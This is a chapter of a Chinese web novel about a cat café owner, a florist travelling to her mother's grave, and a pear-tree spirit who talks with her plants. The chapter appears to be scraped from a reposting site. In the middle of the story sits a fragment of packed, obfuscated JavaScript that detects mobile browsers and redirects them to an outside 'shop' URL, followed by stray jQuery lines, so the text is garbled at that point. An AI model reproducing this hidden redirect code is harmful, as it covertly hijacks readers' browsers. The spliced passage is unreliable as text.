8. Chapter8

作品:《前世种的梨花树来报恩了

    韩凌最近开始愈发频繁地往“朝暮咖啡馆”跑——也就是闻曦开的那家猫咖。如今漂亮的招牌已经挂了上去,“馆”字右下角盖了一只猫爪戳。


    他把那只流浪猫从宠物医院接回了住处,想着找些“不会照顾流浪猫”的借口,就可以顺理成章地去拜访闻曦了。结果没有多久,他很快意识到这并不是借口——


    他在照顾猫这方面简直是一窍不通。


    他住在镇上最好的酒店里——毕竟他为了追闻曦才跑来这个小镇的。他说服了酒店老板允许他养猫,但是说服不了猫晚上不要跑到他的床上蹦迪,咆哮,以及随机打翻房间里的任何一样东西。


    一岁的狸花猫有的是手段和精力。


    于是隔天韩凌顶着黑眼圈出现在朝暮咖啡馆。


    闻曦乐了:“呦吼……最近整上烟熏妆了?”


    韩凌:……


    狸花猫优雅地端坐一旁,尾巴垂落在两只前爪上,“喵~”


    于是闻曦用食物和玩具作诱饵,观察了一下这只狸花猫,发现这只猫社会化程度还挺高的,聪明活泼,拥有一手极佳的讨饭技巧。看上去流浪的时候混得挺好。


    没多久就适应了猫咖的环境,跟原住民玩成一片。


    闻曦:“这不挺乖的吗。”


    韩凌:……


    于是他研习了一下闻曦和小猫交流的技巧,又把猫带了回去。


    然后转头直接被狸花猫一爪子送进医院。


    闻曦:“……”


    闻曦:“要不放我店里养养看?”


    养了几天,闻曦就明白了。


    这就不是个能被家养的主。它有自己的生活方式,她的猫咖就好像只是它的据点之一,偶尔停留,经常出溜,回来的时候也没个准数,完全不把人类放在眼里。


    “所以说……我养不了它?”


    闻曦把一杯饮品放在神情沮丧的韩凌面前,“你就当它把你弃养了吧。”


    韩凌揉了一把头发,他此时手臂上被猫抓的伤口刚刚结痂,眼下的乌黑还有几分未淡去,衣着相比他一贯的风格朴素了不少:一件蓝灰色衬衫,连耳垂上都是干干净净。


    再加上他喝了一口后那蹙眉叹气的表情,看上去倒真像是被谁抛弃了似的。


    闻曦:“……喝不了苦的,点什么冰美式。”


    事实上韩凌心情其实还可以,通过这一阵子频繁跑猫咖,他自认为闻曦对他的好感提升了不少,至少来往猫咖的客人都快要记住他了。


    只是还不够。


    闻曦之前拒绝他的理由是:目前不想谈。


    那么应当并不是讨厌他。


    那么也有可能喜欢他。


    他的动作要再快一点了。


    *


    今天是醒春花店休息前营业的最后一天了。


    池华的飞机航班定在后天。


    她今天只是来给花店工作再来收个尾。


    花店里不可避免有多下来的花,池华把它们收集起来,一部分做成了干花。这些鲜花褪去了斑斓色彩,回到了大地最初的样子,此时略显凌乱地堆满了整个工作台,像是一座秋天凋零于此。


    工作台上摆着千奇百怪的花瓶。


    池华正在用这些枯萎的植物,插花。


    她创作的时候会进入一个格外沉浸的状态。


    这些残败的花枝在她的眼中仿佛拥有了新的生命,蜷曲的花瓣、叶片褶皱的纹理、或深或浅的枯黄色……万物应时衰败,衰败却也自有其美,无数的花枝仿佛乐谱上的音符,散落一地,而她要做的,就是重新谱曲。


    她也极擅长。


    在池华手下,风干的蒲苇是一阵柔软而轻盈的风,向高远处盘旋。鲁丹鸟就像它的名字一样,花瓣细腻如雀羽,缩合着迎风而去。枯萎的洋牡丹,是落日余晖中的云。而零落的桉树果,是雨。


    风干之后,白色百合光洁宽大的花瓣蜷曲着,变得纤薄,粗糙,裸露脉络,浅浅的棕褐色被时间炙烤而出——它是秋日壁炉里燃烧的火焰,温暖、安静,使人感到平和的力量。


    ……


    池华几乎忘却时间。


    桌上的花瓶一个一个地被填满。


    她把一束风干的银扇草插进最后一个颀长优雅的白色窄口瓶。手顿了顿,忽然觉得这一束不需要再搭配什么了。


    此时的银扇草脱落了外层的种荚,露出中间半透明的银白色薄膜,这薄膜有一种奇异的珠光质感,白色贝母似的,一片片挂在枝梢间,如月如雪。


    ……像什么呢。


    池华忽然抬头看向那道始终守在内室不曾离开的雪色身影。


    就是像这个人。


    颀长。纤弱。洁白。


    他的白发像是一匹质地细腻的丝绸。眼睫像是蝴蝶。


    池华想,他说自己是梨花树也不无道理。


    ——美得实在不像人。


    她把这些插花单独拍照记录了下来,镜头晃过他的时候,池华果然没有在镜头里看见他的身影。


    下午三点。


    她的花店里已经几乎可以称得上空旷了。


    “……嘤。大家怎么都不见了……”


    “人要走了吗……池华……”


    “花店不要了吗……”


    苏醒的植物感到一些茫然。


    黎宴解释道:“她只是要回去给母亲扫墓。”


    池华现在已经不再对黎宴知道“她要回去扫墓”感到意外了,她只是很好奇他到底在跟什么不明存在对话。


    池华暗中观察,发现他的目光落在了一盆跳舞兰上。


    “你在跟谁说话?”


    黎宴很坦然:“跳舞兰。”


    池华试图组织语言:“……你们植物能互相沟通,是这个设……意思吗?”


    黎宴点头。


    池华:“那……跳舞兰说什么了?”


    黎宴:“它发现大家都不见了,问你是不是不要花店了。”


    池华:“……那它现在还在说话吗?”


    黎宴停顿了片刻,“在。”


    池华见他真的像是听了一会儿似的,有点好奇地继续问道:“这回又说了什么?”


    不知道是不是池华的错觉,她觉得黎宴的眼神忽然间温柔了几分。


    “它说,让你去给母亲扫墓的时候,不要太难过。”


    池华怔了一下。


    目光落在明黄色的跳舞兰上,“……你一个小花还知道这些吗。”


    “我不在的时候,要好好长。”


    跳舞兰纤长的花枝轻轻招摇,无声回应。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930162|192800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“当然会好好长了……唔,应该还能再开十几朵。”


    “……不对,梨花,我刚才没有那样说……”


    “还有……扫墓是什么……”


    “……梨花,什么是扫墓……”


    “人为什么要难过……”


    ……


    四点的时候,池华关了店。


    走的时候,她拿上一捧紫色花束,两盆长到一半的猫草——这是她准备带给闻曦的,她开业之后她还没有去看过。


    韩凌前脚刚走,后脚池华就踏进了猫咖的门口。


    “池华姐?”


    闻曦刚把做好的饮品端给客人,路过门口就看见了抱着满满一怀抱花的池华。


    “好漂亮的花呀,是要送去……”


    闻曦还没有说完,那一大捧花就全部朝她怀里倾来。


    诶。是给她的吗?


    池华特意选的紫色调,她先前留意到店里虽然是黄色调为主,但搭配了很多紫色的物件,就连闻曦的衣服、饰品、扎高丸子的皮筋都用了紫色,想来总不会讨厌这个颜色。


    “之前因为忙一直没来看看,现在算是我补上的开业花束吧,祝你开业快乐。”


    “天哦!你怎么知道我最喜欢紫色!”


    “还有这个……”池华拿出袋子里的两盆猫草,“我店里顺手养的猫草,给小猫们带的,不过还没长全,得再稍微养几天。”


    “这也太客气了!”闻曦把池华迎进来,“姐你要喝什么,随便点都算我的!”


    闻曦做咖啡的手艺的确好,被她这样一说,池华便也应下,点了一杯拿铁。


    她在闻曦店里和小猫们待了一会儿。


    只是,明明今天关店很早,但池华不知道为什么感到有些莫名的疲倦。


    喝了咖啡似乎也没有什么太大的用处。


    于是她告别了闻曦,干脆早点回家休息了。


    等到池华躺在柔软的沙发上,抬头望着天花板,忽然对明天感到一些茫然。


    明天……


    明天不用开店,她要做些什么呢。


    她不知道明天要做什么,脑子里只有后天飞机落地之后要做的事。


    明明也过去好几年了,她怎么还是对这些事情感到陌生呢。


    母亲真的已经离开她了吗?


    自她搬到这座母亲曾经漫步过的江南小镇,她其实就不太经常想起母亲了。


    池华神思游荡,不知不觉落在客厅旁边的黎宴身上。说起来,他已经连续几天都没有消失过了。


    或许他也会一起回去吗……


    或许今年,她不用一个人面对那些事情吗。


    “你会,跟我一起回去吗?”


    黎宴微笑,语气是一贯的温柔:“会的。”


    “……你不是中心公园的梨花树吗,是可以离开小镇的吗?”


    池华其实已经有点不知道自己在问些什么了。


    但是黎宴仍旧道:“我会一起回去的。”


    池华还想说什么,可是她现在太疲惫了,脑子一片混沌,张了张嘴却不知道自己要说什么了。


    黎宴看着她发懵的样子,忍不住笑了笑,眉眼微垂,“我会陪你一起回去扫墓的。现在——”


    “早点休息吧。你已经很辛苦了。”